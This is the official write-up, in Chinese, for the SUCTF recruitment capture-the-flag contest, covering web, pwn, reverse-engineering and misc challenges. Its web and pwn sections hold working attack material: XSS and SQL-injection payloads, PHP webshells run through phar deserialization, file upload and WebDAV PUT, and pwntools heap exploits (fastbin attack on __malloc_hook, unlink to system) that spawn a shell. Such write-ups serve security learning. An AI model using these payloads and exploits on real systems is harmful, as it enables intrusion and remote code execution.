SUCTF招新赛官方wp
[TOC]
————
Web
这是个模版[web]
xss1
解法有多种。只要用");
闭合前面,再注释掉后面就行了。
这里参考payload,用的jsfuck:1
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])();//
xss2
题目只允许输入!+[]
,想到jsfuck, eval(eval(input) + \’(1)\’) ,综合题意,只要可以使用eval(input)构造出’alert’字符串即可。
get到jsfuck的编码方式,就解开了本题。记录如下:
1 | 以下内容基于 |
php is No.1
源码审计题,当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过。1
2$test=false and true;
var_dump($test); //返回true
接下来又是个弱相等,我们随便传个字符就行了。而且在php7以下的版本1
2
3$time = 5e6
echo (int)$time;//输出的是5
var_dump($time < 60 * 60 * 24 * 30 * 1);//返回true
最后参考payload:1
http://49.4.68.67:94/?time=5e6&num=a
baby-upload
第一层:抓包或直接修改前端代码绕过js校验文件后缀
第二层:图片mime类型绕过防护
第三层:文件后缀为phps绕过白名单防护
inclue-me
描述的很清楚,包含index.php
使用伪协议读取源码:php://filter/convert.base64-encode/resource=index.php
onepiece
打开题目后index.php里提示我用了phpstorm,去找.idea
在workspace.xml里面看到,后台有UpL0ad.php和README.html两个文件
README.html里面直接说了,我有一个onepiece.zip
下载onepiece.zip,解压后是我用在线的phpjm网站混淆过的php文件
去网上搜索相关的关键词就能找到在线解密的网站(https://tool.lu/php)
把php文件解密之后,这题就是一个简单的php代码审计(变量覆盖)
在UpL0ad.php里post时,直接post参数: file=flag 就得到flag回显了
where are you from level 1
Client-Ip头设置为127.0.0.1即可。
where are you from level 2
Client-Ip处的注入,过滤了空格和一些关键字,但是关键字只过滤了一次,因此可以双写绕过。最终getflag的payload:
1 | Client-Ip: 12',(selselectect/**/fl4g/**/ffromrom/**/flaaag))# |
gallery
flag:suctf{phar_s3rial1ze_f4nt4s71C}
读取图片的接口存在任意文件读取的漏洞,可以读取到网站源码。cookie中给出提示read recent papers about phar
,最近phar有关的比较热门的就是phar反序列化,生成phar的脚本为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
class PicManager{
private $current_dir;
private $whitelist=['jpg','png','gif'];
private $logfile='request.log';
private $actions=[];
public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}
private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}
public function pics(){
log('list pics');
$pics=[];
foreach(scandir($dir) as $item){
if(in_array(substr($item,-4),$whitelist))
array_push($pics,$current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$current_dir.'/'.$newname);
}
public function get_pic($picname){
_log('get pic'.$picname);
if(!file_exists($picname))
return '';
else return file_get_contents($picname);
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a+");
foreach($this->actions as $act){
fwrite($fp,$act."\n");
}
fclose($fp);
}
public function gen(){
@rmdir($this->current_dir);
$this->current_dir="/var/www/html/sandbox/1b5337d0c8ad813197b506146d8d503d/"; //md5($_SERVER['REMOTE_ADDR'])
$this->logfile='out.php';
$this->actions=['<?php eval($_REQUEST[p]);'];
@unlink('phar.phar');
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($this); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
//
}
}
$pic=new PicManager('/var/www/html/sandbox');
$pic->gen();
生成phar后重命名为图片文件,上传后访问1
?act=get&file=phar:///上传后的图片路径
再访问生成的out.php即可获取flag
ClassicSqli
- 用;%00截断末尾
- /**/代替空格
- regexp代替等号
1
payload="?user=\&pw=^0%26%26user/**/regexp/**/0x61646d696e%26%26pw/**/regexp/**/%22^{}%22;%00"
秘密云盘
这题就是超简单的任意文件读取,没有任何坑点,下载链接为 ?file=base64之后的文件名。
由readme.txt可知 flag在flag.php中。
因此payload为 ?file=ZmxhZy5waHA= 即可。
403readfile
- 从http状态码和页面ip判断403异常是假的
- 扫描后台文件发现robots.txt,得到flag.php和get.php。
- 尝试get.php可确定思路为通过get.php读取flag.php。
- get.php尝试里放了hint.txt,默认的链接里也有./1.txt,尝试1.txt发现回显正常即可猜测’./‘被过滤(这一步考虑难度其实是准备tips放源码,不过有大师傅真的做出来了。。tql。。。)
- 接下来就可以尝试用’./‘截断被过滤../和flag关键字
- 最终payload为 ?file=…//fl./ag.php
EASY_upload
- 抓包修改Content-Type为image/png
使用如下一句话
1
2
3<script language="php">
@system($_GET['c']);
</script>改后缀为phtml
最后getshell读flag
http://xxxxxxx/upload/shell.phtml?c=cat%20../flag.php
secure html
- secure_html.php为每个用户创建session和对应的html文件,并用include进行了文件包含
- 通过secure_html.php写入html文件时对PHP代码进行了简单粗暴的过滤,并关闭了对其他PHP格式的支持,难以绕过
- 脑洞:本题nginx开启了webdav模块,支持用http方法中的PUT更新pages目录下的html文件
- 用fiddler等代理工具构造PUT请求直接向html文件写入PHP代码,返回204状态码则表明写入成功
- 再次访问secure_html.php,代码被执行,实现RCE
- flag在根目录下
PUT消息体:1
<? echo `cat /flag`;
Pwn
easy_overflow_file_structure
fsop的超简化版本,解析请求头字段的循环退出不当,可发送多个重复字段导致缓冲区溢出,覆盖相邻的fd结构中的flag成员为0xdeadbeef
即可。
1 | from pwn import * |
拓展阅读:
- FILE Structures - Another Binary Exploitation Technique - An-Jie Yang.pdf
- CVE-2018-4013/TALOS-2018-0684
babyarray
简单的数组溢出,index=-14 value=0,就可以把a的值覆盖掉。
需要注意的是一个int型变量四字节,所以在整型数组中的一个偏移变量地址改变4,计算数组距离全局变量a的值再除4就得到了偏移值。
这是一道不需要exp的题目。
basic-pwn
简单的栈溢出
1 | >gdb 3.out |
stack
简单栈溢出,和上一题重复了233331
2
3
4
5
6
7from pwn import *
io=process("./pwn")
payload='a'*0x28+p64(0x400676)
io.sendlineafter("============================\n",payload)
io.interactive()
int_overflow_pwn
整数溢出,分配小空间,但是可以拷贝更多的内容
1 | unsigned int alloc_len = st->len + 0x20; // 整数溢出 |
具体看 exp
1 | from pwn import * |
EZ_heap
首先利用unsorted bin进行泄露,发现存在uaf,double free之后利用fastbin attack写malloc hook来get shell,这里直接贴下exp了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64")
ip =""
p = process("./pwn")
elf = ELF("./pwn")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
def create(size,name,kind):
ru("Your choice : ")
sl("1")
ru("Length of the name :")
sl(str(size))
ru("The name of animal :")
sd(name)
ru("The kind of the animal :")
sl(kind)
def check():
ru("Your choice : ")
sl("2")
def remote(index):
ru("Your choice : ")
sl("3")
ru("Which animal do you want to remove from the cage:")
sl(str(index))
def clean():
ru("Your choice : ")
sl("4")
create(0x98,"a"*8,"1234")
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x20,"b"*8,"b"*8)
remote(0)
clean()
create(0x98,"c"*8,"c"*8)
check()
ru("c"*8)
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
print "leak----->"+hex(leak)
malloc_hook = libc_base +libc.symbols["__malloc_hook"]
print "malloc_hook----->"+hex(malloc_hook)
print "libc_base----->"+hex(libc_base)
one_gadget = 0xf02a4 + libc_base
remote(1)
remote(2)
remote(1)
#debug()
create(0x68,p64(malloc_hook-0x23),"b"*4)
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x68,"a"*0x13+p64(one_gadget),"b"*4)
remote(1)
remote(1)
getshell()
unlink
一道有点烦的unlink题,具体利用思路请看exp。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
#p = remote('localhost',4448)
elf = ELF('./pwn')
ru = lambda x : p.recvuntil(x)
sl = lambda x : p.sendline(x)
sd = lambda x : p.send(x)
def debug():
gdb.attach(p,'')
raw_input()
def touch(sz):
ru("please chooice :")
sl("1")
ru("please input the size :")
sl(str(sz))
def delete(idx):
ru("please chooice :")
sl("2")
ru("which node do you want to delete")
sl(str(idx))
def show(idx):
ru("please chooice :")
sl("3")
ru("which node do you want to show")
sl(str(idx))
return ru("1. touch")
def take_note(idx,con):
ru("please chooice :")
sl("4")
ru("which one do you want modify :")
sl(str(idx))
ru("please input the content")
sd(con)
def exploit():
buf_addr = 0x00000000006020C0
touch(0x30) #0
touch(0x30) #1
touch(0x30) #2
touch(0x30) # construct fake chunk
touch(0x90) # free this chunk
touch(0x30) # avoid malloc_conslidate
# note_payload fake chunk
note_payload = p64(0) + p64(0x31) + p64(buf_addr)
note_payload += p64(buf_addr + 0x8)
note_payload += 'a' * 0x10
note_payload += p64(0x30)
note_payload += p64(0xa0) # bypass double free (!prev) this_chunk + size --> prev_inuse bit
take_note(3,note_payload)
delete(4)
take_note(3,p64(elf.got['__libc_start_main']))
leak_got = show(0).split('\n')[2]
leak_got = leak_got.ljust(8,'\x00')
leak_got = u64(leak_got)
success("leak_got == > "+hex(leak_got))
obj = LibcSearcher('__libc_start_main',leak_got)
libc_base = leak_got - obj.dump('__libc_start_main')
success("libc_base == > "+hex(libc_base))
system = libc_base + obj.dump("system")
success("system == > "+hex(system))
take_note(3,p64(elf.got['free'])) # modify index 0 point
take_note(2,"/bin/sh\x00")
take_note(0,p64(system))
delete(2)
p.interactive()
#debug()
if __name__ == "__main__":
exploit()
Rev
table
flag:SUCTF{1S_iT_SiMp1e?yeS}
这题前面有两个wrong那里是反调试,如果想动态调试的话需要patch掉
分两步变换
有一个table表为{ 3,7,4,2,5,6,1,9,8,10 };
第一次变换为7 第二次变换为9
动态调试发现中间值比了一个相等(这个字符串不能直接看出来)
str1 = ‘_SiST_1’
str2 = ‘’
table = [ 3,7,4,2,5,6,1,9,8,10]
table_r = [7,4,1,3,5,6,2,9,8,10]
for i in range(7):
str2 += str1[table_r[i]-1]
str1 = ‘py1Me?iSe’
for i in range(9):
str2 += str1[table_r[i]-1]
print(str2)
hash
flag:SUCTF{birthday_ro2k0}
题目提示是hash,看到bf772f6ed89838b9gb9f7abf3cc09413可以猜测应该是md5
md5算法的最明显的特征是初始化的四个数是不变的。
但是bf772f6ed89838b9gb9f7abf3cc09413这个数是经过一个变换,将偶数的地方异或了一个一。
最后的cf673f7ee88828c9fb8f6acf2cb08403 可查出为birthday
第二段为一个简单的线性变换str1 = '
ut9t’
for i in range(len(str1)):
a = chr(ord(str1[i])-2*i-1)
print(a)`
re-register
flag: SUCTF{Flag_1cqeyoecnaqr739w}
src:1
2
3
4
5
6
7
8
9
10
11
12
13#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char a[] = {'S'-1, 'U'-1, 'C'-1, 'T'-1, 'F'-1, '{'-1, 'F'-1, 'l'-1, 'a'-1, 'g'-1, '_'-1, '1'-1, 'c'-1, 'q'-1, 'e'-1, 'y'-1, 'o'-1, 'e'-1, 'c'-1, 'n'-1, 'a'-1, 'q'-1, 'r'-1, '7'-1, '3'-1, '9'-1, 'w'-1, '}'-1, 0};
int i = strlen(a);
int j = 0;
while (i--){
if (getchar()-1 !=a[j])(printf("wrong!"),exit(-1));
j++;
}
}
basic re
ida中可以看出输入的密钥只用到后16位 所以0~65535爆就行了。
Key:12345
1 | //src: |
HelloPython
一道经过混淆的Python逆向,题目给出的是一个经过编译的字节码文件和一段密文,通过uncompyle6可以反编译出源码,源码通过onelinerizer混淆压缩为一行代码,需要先整理分析代码,然后写出解密算法。
经过整理分析后的代码,因为混淆方式是通过lambda函数和列表递推表达式实现的,先解析函数参数,所以代码整体上是倒序执行的:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76(lambda __operator, __print, __g, __contextlib, __y: # __operator=operator, __print=print, __g=globals(), __y用于构造循环
[
(lambda __mod: [
[
[
(lambda __items, __after, __sentinel: # __items=iter(p_text.split('_')), __after为加密函数, __sentinel=[]
__y(lambda __this: lambda: (lambda __i: [ # __i为当前循环到的__items
(
lambda __out: (
lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: __this())][2]
)(
__contextlib.nested(
type(
# 失败则退出程序
'except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and ([True for __out[0] in [((sys.exit(0), lambda after: after())[1])]][0])}
)(),
type(
# 尝试将 word以16进制转换为整形 存入 v
'try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((v.append(int(word, 16)), (lambda __after: __after()))[1])]][0]}
)()
)
)
# word = __i
)([None]) for __g['word'] in [(__i)]
# 循环__items
][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))()
)
(
# __items=iter(p_text.split('_'))
iter(p_text.split('_')), lambda: [
[
[
[
[
[
[
(
lambda __after: __y( # __after为后面参数中输出结果的lambda
lambda __this: lambda: ( # if n > 0 执行这部分代码,否则执行__after
lambda __target: [
(
lambda __target: [
(
lambda __target: [
# 循环调用__this(),效果等同于 while n > 0
# n -= 1
# z.value += ( y.value << 4 ) + k[2] ^ y.value + x.value ^ ( y.value >> 5 ) + k[3]
[__this() for __g['n'] in [(__operator.isub(__g['n'], 1))]][0] for __target.value in [(__operator.iadd(__target.value, ((((y.value << 4) + k[2]) ^ (y.value + x.value)) ^ ((y.value >> 5) + k[3]))))]
][0]
# __target.value += ( z.value << 4 ) + k[0] ^ z.value + x.value ^ ( z.value >> 5 ) + k[1]
)(z) for __target.value in [(__operator.iadd(__target.value, ((((z.value << 4) + k[0]) ^ (z.value + x.value)) ^ ((z.value >> 5) + k[1]))))]
][0]
# __target.value += u
)(y) for __target.value in [(__operator.iadd(__target.value, u))]
][0]
)(x) if (n > 0) else __after() # 见上文
)()
)(
# 将z.value和y.value分别赋值给w[0]和w[1], 然后输出结果
lambda: [[(__print(''.join(map(hex, w)).replace('0x', '').replace('L', '')), None)[1] for w[1] in [(z.value)]][0] for w[0] in [(y.value)]][0]
) for __g['w'] in [([0, 0])] # w = [0,0]
][0] for __g['n'] in [(32)] # n = 32
][0] for __g['u'] in [(2654435769)] # u = 0x9e3779b9
][0] for __g['x'] in [(c_uint32(0))] # x = c_uint32(0)
][0] for __g['z'] in [(c_uint32(v[1]))] # z = c_uint32(v[1])
][0] for __g['y'] in [(c_uint32(v[0]))] # y = c_uint32(v[0])
][0] for __g['k'] in [([3735928559, 590558003, 19088743, 4275878552])] # k = [0xdeadbeef, 0x23333333, 0x01234567, 0xfedcba98]
][0], []
) for __g['v'] in [([])] # v = []
][0] for __g['p_text'] in [(raw_input('plain text:\n> '))] # p_text = raw_input("plain text:\n> ")
][0] for __g['c_uint32'] in [(__mod.c_uint32)] # c_uint32 = ctypes.c_uint32
][0])
(__import__('ctypes', __g, __g, ('c_uint32',), 0)) for __g['sys'] in [(__import__('sys', __g, __g))] # from ctypes import c_uint32 import sys
][0]
)
(__import__('operator', level=0), __import__('__builtin__', level=0).__dict__['print'], globals(), __import__('contextlib', level=0), (lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))))
加密解密代码(TEA):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35def encipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0)
delta = 0x9e3779b9
n = 32
w = [0,0]
while(n>0):
sum.value += delta
y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
n -= 1
w[0] = y.value
w[1] = z.value
return w
def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0xc6ef3720)
delta = 0x9e3779b9
n = 32
w = [0,0]
while(n>0):
z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
sum.value -= delta
n -= 1
w[0] = y.value
w[1] = z.value
return w
game
非常传统而基础的rev
MD5
题目一开始的时候给了一串奇怪的数字,如果逆向的话会发现这是一段md5(检查魔数可得),直接搜会发现是nuaa的数字,然后便可解开这段内容。
Tips:不是字符串的nuaa,而是其数字形式
迷宫
题目会用上一题的迷宫得到的数对程序中的404040
位置进行解密,解密后会发现这是一个迷宫。并且UDLR
分别表示四个方向,那么只要走出迷宫即可。此处走出迷宫的字符串为1
RRRRRRRRRRUUUUUUUUUULLLLLLLU
程序中有一段逻辑会对输入进行翻译,当翻译结果如上的时候才能够通行。
相当于是将每个字节的两个bit作为UDLR的一个对应关系,解密后得到此时的输入为1
170 170 165 85 85 255 253
最后的check
到这段之后,会发现程序会释放一个加密的程序并且跳转上去,检查后发现是一个简单的逻辑异或,最后得到答案:1
Dr1v3r_Is_s0_m3ssy
dump
这个题目可以使用IDA来解,不过我试了一下效果并不好(可能本人IDA用的不熟练),不如直接用windbg来的快
1. 找到crash的原因
一个dmp的产生,必然意味着程序本身出现了问题。所以应该首先通过分析找到当前的问题所在。使用!analyze -v
分析可以知道,当前程序发生了堆溢出:
检查当前的程序调用栈,可以看如下信息:
可以看到程序主体ForDumpPractice中调用了free。显然是这个free的内容出现了问题,于是我们直接跟踪到这段代码相关的地方:
这边我的windbg有一些符号没有解析,不过可以使用指令查看。这段的内容如果完整看下来,会发现是个如下的逻辑:1
2
31. 申请一个堆,大小为4
2. 将参数传入到这个堆块中,但是长度为101
3. free当前堆
所以发生了堆溢出
2. 找到flag
既然分析了崩溃原因,那么我们看一下这个程序本身要做什么。继续分析dmp,会在最后找到一个prinf函数,并且可以看到里面的内容:
这里可以暗道,这个地方的字符串是一个输出flag的东西。逆推可得,此时[esp - 14h]+1
中存放有flag。并且在这段逻辑中,可以发现有一个简单的对程序进行解密的内容。这里通过将这个程序还原,大致可以得到如下的逻辑1
2
3
4
5// [ebp- 1Dh]:i
for(i = 0; i < [[ebp - 14h]]; i ++){
[[ebp-14h]+1+i] = ([[ebp - 14h]] + i) ^ [[ebp-14h]+1+i]
}
// 大致猜测,ebp-14h可能是一个结构体
那么这个[ebp - 14h]中的数据怎么得到呢?回到程序开头,我们发现这个值是参数传入的,并且存放在了堆中。于是此时我们可以查看栈/堆,都能够翻到这个内容:
栈:
堆:
剩下的就是解密,得到答案为:1
flag{Dmp_Is_Useful}
easy_vm_engine
简单的vm,可以用angr很轻松的跑出来,这里贴下加密解密算法。1
2
3
4
5
6
7
8
9
10
11
12
13
14#!/usr/bin/env python
# encoding:utf-8
from __future__ import print_function
print("encode")
flag=list('SUCTF{e@sy_vmeng1ne}')
for i in range(20):
flag[i]=chr((ord(flag[i])-i)^i)
print(hex(ord(flag[i])))
print(''.join(flag))
print("decode")
for i in range(20):
flag[i]=chr((ord(flag[i])^i)+i)
print(hex(ord(flag[i])))
print(''.join(flag))
Misc
follow-me
使用wireshark分析数据包,过滤http发现是一个简单的web攻击流程,
首先爆破后台再进行弱口令爆破,正确的口令即为flag值,在倒数第二个数据包。
single-dog
使用foremost分离文件,发现存在文本文件,搜索aaencode解密即可得到flag。
stature
简单的png隐写,用hex编辑器将图片改高,0x175改高即可。
one image %3F
B通道有hint提示盲水印,R通道与G通道解盲水印,得到flag
hidden
非常传统而基础的misc
zip/docx
其实直接拖到Linux下就能够识别出是一个zip包,本身是一个word文档,于是直接在压缩包里面能够找到一半的flag:_Yeah!}
qrcode
发现flag只有一部分,于是继续观察文件,发现一个zip文件不可能这么大,于是用binwalk去查看,会发现里面有很多张图。将图都取出来会发现是一个二维码截图。将这些二维码拼接起来,扫出来是一个base64的字符串,解开之后会发现一大段内容,其中最后包含了另一半的flagSUCTF{File_Format
最后得到flag1
SUCTF{File_Format_Yeah!}
佛家妙语
超级简单的几种编码与加密
与佛论禅——base46——base32——base16——base58
流量
流量包可导出upload.php,分离得出加密的压缩包。
压缩包内有flag0,1,2,3,且内容都为4或6字符,利用crc32校验的爆破得出flag内容。
主要坑点在flag0,写脚本爆破预计2小时……但得出flag123后可猜测flag0为flag头SUCTF{,用crc32验证一下也可确定。
人类的本质
题目思路比较明确,就是点2333次以上,也有师傅通过逆向的方法解。
由于按钮设定了不可设置为焦点,使用autoit直接给控件发送点击命令。
控件的定位可以用autoit window info
1 | Run("本质3.exe"); |